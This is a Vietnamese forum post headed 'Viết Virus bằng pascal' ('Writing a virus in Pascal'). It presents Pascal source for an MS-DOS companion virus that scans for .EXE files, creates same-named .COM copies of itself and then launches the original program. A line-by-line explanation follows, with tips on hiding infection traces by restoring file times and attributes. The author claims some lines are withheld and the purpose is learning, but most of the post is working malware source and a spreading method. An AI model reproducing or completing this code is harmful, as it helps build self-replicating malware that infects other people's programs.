Viết Virus bằng pascal

Go down

Viết Virus bằng pascal

Bài gửi  Khang Joker on Thu 16 Jul - 15:18

Dưới đây là ví dụ về một mẫu virus đơn giản, chưa có tính phá hoại, mới chỉ cài đặt khả năng lây lan dành cho các bạn tham khảo:

{$A-,B-,D-,E-,F-,G-,I-,L- ,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y- }
{$M 8192,0,16384}
uses
Dos, Crt;
const
extend = '*.EXE';
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;
begin
1. {...}
2. FindFirst (extend, AnyFile, SRec);
3. while (DosError = 0) and (IOResult = 0) do
4. begin
5. with SRec do
6. if not ((Name='.') or (Name='..')
7. or (not (Attr and Directory and VolumeID<>0)))
8. then
9. begin
10. NameOfVictim:=Name;
11. Delete (NameOfVictim, Pos ('EXE',NameOfVictim),3);
12. NameOfVictim:=NameOfVictim+'COM' ;
13. Assign (VICTIM, NameOfVictim);
14. Reset (VICTIM,1);
15.
16. if IOResult <> 0 then
17. begin
18. {...}
19. Assign (VECTOR, NameOfVector);
20. Reset (VECTOR, 1);
21. LengthOfVector := FileSize (VECTOR);
22. GetMem (Buffer,LengthOfVector);
23. BlockRead (VECTOR, Buffer^, LengthOfVector);
24. ReWrite (VICTIM,1);
25. BlockWrite (VICTIM , Buffer^, LengthOfVector);
26. Close (VECTOR);
27. Close (VICTIM);
28. FreeMem (Buffer, LengthOfVector);
29. end;
30. end;
31. FindNext (SRec);
32. end;
33. Delete (NameOfVector,Pos ('.COM',NameOfVector),4);
34. NameOfVector := '/C '+NameOfVector+'.EXE';
35. {..}
36. {..}
37. {-Thuc thi file EXE ban dau-}
38. SwapVectors;
39. Exec(GetEnv('COMSPEC'), NameOfVector);
40. SwapVectors;
end.
Giải thích :

Đễ lây nhiễm vào file mà không để lại dấu vết, các bạn nên tham khảo hàm GetFTime(); GetFAttr(); và SetFTime(); SetFAttr(); có trong unit DOS;

Phần khai báo biến:
Trích dẫn:
Mã:

var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;


-NameOfVector : tên của file đã nhiễm, được user chỉ định thực thi (VD: BOITOAN.EXE)
-NameOfVictim : tên của file .EXE tìm thấy, là đối tượng sẽ lây nhiễm (VD: PROGRAM.EXE)
-VECTOR, VICTIM: biến file dùng để thao tác 2 file nói trên
-LengthOfVector: kích thước file Vector
-Buffer: cung cấp vùng nhớ sẽ dùng để nạp file VECTOR;

Đến đây có một câu hỏi đặt ra là làm sao kiểm tra xem file đã nhiễm hay chưa mà xử lí. Nếu nhiễm rồi thì lây zô nữa làm gì , điều này liên quan tới việc tạo keygen để đánh dấu file (là chuỗi ký tự có tính chất đặc trương cho từng loại virus - các AVs có thể dựa vào đây để phát hiện ra mã virus) mà trong khuôn khổ bài viết này không đề cập đến.

Đầu tiên, Chương trình sẽ tìm một file .exe trong thư mục hiện hành (Lệnh 2) trả thông tin về cho biến SREC;
Nếu không có lỗi (lỗi sinh ra khi không có file .exe nào) thì gán tên file tìm được cho biến NameOfVictim (lệnh 10) giả sử ta được NameOfVictim='BAITAP.EXE' thì tiếp theo chuyển thành 'BAITAP.COM' (lệnh 11+12).
Mở file BAITAP.COM, nếu có lỗi thì có thể file trên chưa tồn tại (khi đó DosError<>0)
Nếu BAITAP.COM chưa tồn tại thì tiếp tục lệnh 16

-Mở file chủ, lấy kích thước (19 -> 21)
-Nạp file chủ vào vùng nhớ (22 -> 23)
-Tạo mới file BAITAP.COM rồi Ghi nội dung vùng nhớ vào file này (24 -> 25)
-Đóng file, ghi ra đĩa cứng (27)
-Xóa nội dung vùng nhớ, đề phòng phát hiện (28)

Như vậy, ta đã tạo đc một file BAITAP.COM có tên trùng với file BAITAP.EXE mà chương trình tìm thấy, nhưng nội dung chứa bên trong file .COM này chính là nội dung file Chủ --> Như thế file Chủ (là file đã nhiễm) đã được nhân bản.
Các câu lệnh còn lại là trao quyền thực thi cho file Chủ ban đầu theo yêu cầu của user.

Đoạn code trên nếu các bạn test sẽ không thành công vì có một số dòng mình đã giấu đi do bài viết chỉ mang tính học tập một cách thức lây lan của virus.

Như vậy, nếu bạn biên dịch ra file này là VIRUS.EXE rồi chạy nó,ta sẽ được:
-VIRUS tìm file .EXE trong thư mục hiện hành, có thể là chính bản thân nó.
Giả sử tìm thấy file PROGRAM.EXE
-Tạo ra file PROGRAM.COM là bản sao của virus

Ta nhắc lại một chút, trong DOS, thứ tự ưu tiên của các dạng file thi hành được xếp như sau: COM > EXE > BAT > ...
Như vậy, sau này khi user gỏ lệnh sau:
C:\>PROGRAM
thì file PROGRAM.COM (do virus tạo ra) sẽ được chạy chứ không phải là file PROGRAM.EXE
Như thế VIRUS sẽ có cơ hội được tiếp tục lấy lan.

Kết luận
Trên đây là code của một F-Virus chạy trên nền MS-DOS, song dễ bị phát hiện trên nền Windows.
Qua bài trên , ta có thể hiểu được cách thức lây nhiễm đơn giản là lợi dụng vào thứ tự ưu tiên của file .COM so với file .EXE

devuong

_________________
lol! Admin Khang Joker lol!
avatar
Khang Joker
Đế Vương - Khang Gia
Đế Vương - Khang Gia

Tổng số bài gửi : 17
Like : 1
Join date : 15/07/2015
Age : 18
Đến từ : Việt Nam

Xem lý lịch thành viên

Về Đầu Trang Go down

Về Đầu Trang


 
Permissions in this forum:
Bạn không có quyền trả lời bài viết